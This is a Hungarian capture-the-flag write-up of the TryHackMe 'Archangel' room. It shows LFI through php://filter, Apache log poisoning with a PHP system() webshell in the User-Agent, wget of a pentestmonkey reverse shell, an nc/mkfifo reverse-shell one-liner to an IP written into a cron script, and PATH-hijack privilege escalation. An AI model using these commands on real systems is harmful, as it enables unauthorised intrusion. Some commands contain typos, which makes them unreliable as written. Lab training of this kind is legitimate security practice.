THM Archangel Writeup
#THM Writeup Hack Linux
2021 Oct 05: 17:57
Deploy Machine
Itt nincs semmi teendő, csak a boxot kell elindítani és tovább menni a második taskra.
Task2
Első feladat
A feladat: Find a different hostname
Magyarul: Találd meg a másik hostnevet
A gép elindítása után a weboldalra navigálva a címsorban elolvasható egy email cím. Ez support@
-al kezdődik, az ez utáni rész fog kelleni.
Második feladat
A feladat: Find flag 1
Magyarul: Találd meg az elős flaget
Dolgunk a /etc/hosts
fájlba beleírni az ip címet és utánna az előbb talált hostnevet. Kövezkezik a flag megkeresése.
itt a hostnamera kell navigáni és megkaptuk a flaget.
Harmadik feladat
A feladat: Look for a page under development
Magyarul: Nézz körbe az oldalnak, ami fejlesztés alatt van
Ehhez a gobuster
fog kellen. használata következő:
gobuster dir -u <HOSTNAME> -w ~/hax/SecLists/Discovery/Web-Content/raft-large-files.txt
itt a találatok közt felbukkan egy php fájl. Erre navigálva láthatóvá vállik, hogy itt lehetséges LFI segítségével fájlokhoz hozzáférni.
A megtalált php fájlra navigálva látható, hogy a gomb megnyomása után a /var/www/html/development_testing/mrrobot.php
fájl tartalmára hivatkozik. Ennke a kikerülése lesz a következő.
Negyedik feladat
A feladat: Find flag 2
Magyarul: Találd meg a második flaget
Ehhez a megtalált php fájl base64-es kódját kell lekérni, majd lefordítani.
A lefordítás a következő módon fog történni:
http://HOSTNAME.thm/<MEGTALÁLT>.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/<MEGTALÁLT>.php
Az itt megkapott kódot ki kell másolni, majd echo <KÓD> | base64-d
Itt kiírja a fájl forráskódját, így elolvasható a flag.
Ötödik feladat
A feladat: Get a shell and find the user flag
Magyarul: Szerezz egy shell-t és találd meg a felhasználó flaget
A Burp Suite
nevű program fog kelleni.
Indítás után a proxy
opcióhoz kell navigálni, majd megnyomni az intecept On
gombot és megnyitni egy böngészőt az Open Browser
gombbal.
Itt a keresőbe be kell másolni a következő sort:
http://mafialive.thm/<MEGTALÁLT>.php?view=view=/var/www/html/development_testing/.././.././../log/apache2/access.log
Így látható lesz, hogy milyen requesteket azaz kéréseket kapott a szerver eddig.
Repeaterbe küldés
Innentől kezdve nem fog kelleni a burp böngészője, be lehet zárni.
A Proxy
menün belül található egy HTTP history
névre hallgató fül, erre rákattintva látható, hogy milyen kérések mentek el. Itt a Host
oszlopban ki kell keresni azt az elemet, ami http://mafialive.thm
névre hallgat.
Ebből 3 van. az egyik olyan kell, ahol a Status
-nál 200-at ír. Erre jobb egér gombbal rá kell kattintani, majd a Ctrl+R
kombinációval a repeaterbe kerül. Ide navigálni a fenti menüben lehet és a Repater
fül sárgán világít, erre rá kell kattintani.
Sérülékenység megkeresése
Itt található egy mező, ahol a requestet lehet szerkeszteni. itt a User-Agent:
után be kell írni ,hogy <?php system($_GET['cmd']); ?>
, ez teszi lehetővé a kód futtatást.
Következő az első sor átítása. A sorba bele kell írni a parancsot amit akarunk futtatni, az ls
esetében ez így néz ki:
/<MEGTALÁLT>.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log&cmd=ls
A Send
gombra való kattintás után jobb oldalt látható, hogy 3 fálj van a mappában, ez azt jelenti, hogy sikeres az lfi.
Fájl feltöltés
Következik a reverse shell feltöltése, amihez le kell tölteni egy php reverse shell-t elször, ez a következő múdon néz ki:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Itt első teendő a fájl szerkesztése, át kell írni az ip
változót arra az ip-re amit a thm oszt ki, ez megtudható az ifconfig | grep inet 10
parancsal.
Következő a shell feltöltése és egy listening indítása.
Első egy python3 szerver indítása, ehhez kell a terminába(ajánlott másik, mint ahol dolgozunk) el kell navigálni abba amappába, ahol a shell található, majd beírni, hogy python3 -m http.server 8888
és ezt a terminált magára hagyni.
Listening indítása
Ajánlott az rlwrap
nevű program használata, mivel olyan funkciókat engedélyez, amiket később ne mlehetne használni.
A listenighez be kell írni a terminálba, hogy rlwrap nc -lvp 1234
, majd vissza kell menni a burpbe.
Itt a felső sorban a cmd
utáni részt le kell cserélni ls
-ről wget http://<SAJÁT_IP>:8888/shell.php
-ra, majd ezt kimásolni és az böngészőben elindítani, mivel Burpben nem tud lefutni.
Itt a feltöltött fájlra kell navigálni a böngészőben és ezzel aktiválni a shell-t. Vagyis a mafialive.thm/shell.php
-ra kell navigálni és vissza kell menni abba a terminálba, ahol a hallgatózzás fut és itt látható lesz, hogy megjelent a reverse shell.
Bejutás után
Első a shell upgradelése, ami a következő módon fog történni:
python3 -c 'import pty;pty.spawn(/bin/bash)'
export TERM=xterm-256color
Ezzel olyan funkciókat lehet szerezni, amiket egy alap reverse shellel nem lehetne használni.
Következő a /home
mappába navigálni és az ls
parancs használata után látható, hogy 1 felhasználó van a rendszerben, az ő mappájába navigálva egy listázással láthatóvá vállik ,hogy itt van a user.txt
, ennek a ki cat
-elésével megadható a válasz a feladatra.
Task3
Első feladat
A feladat: Get User 2 flag
Magyarul: Szerezd meg a második felhasználó flagjét
A cat /etc/crontab
parancsal láthatóvá vállik, hogy az archangel felhasználó futtat egy cronjobot. Az ls parancs segítségével az is megtudható, hogy 777-es rajta a permission, vagyis bárki csinálhat vele bármit.
Következő teendő egy új terminált nyitni, de az előzőt nem bezárni.
echo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.5.125 1337 >/tmp/f > helloworld.sh
Ez után a hallgatózás következik, ez a következő módon történik: rlwrap nc -lvp 1337
. Miután a fájlba belekerült a parancs attól számolva maximum 1 perc mire bejön a shell a megnyitott terminálban.
Itt a user2.txt a secret mappában található.
Második feladat
A feladat: Root the machine and find the root flag
Magyarul: Rootold a gépet és találd meg a root flaget
A secret
mappában található egy backup
fájl.
Erre ezt lefuttatva a következő parancsot végzi el: cp /home/user/archangel/myfiles/* /opt/backupfiles
.
Ez hibába fut. A teendő:
cd /tmp
echo '/bin/bash -p' > cp
chmod 777 cp
export PATH=/tmp$:PATH
cd ~/secret
./backup
Ezek után az id
parancs segítségével látható, hogy root felhasználót szereztünk.
Utolsó teendő a flag kiolvasása a cat /root/root.txt
parancsal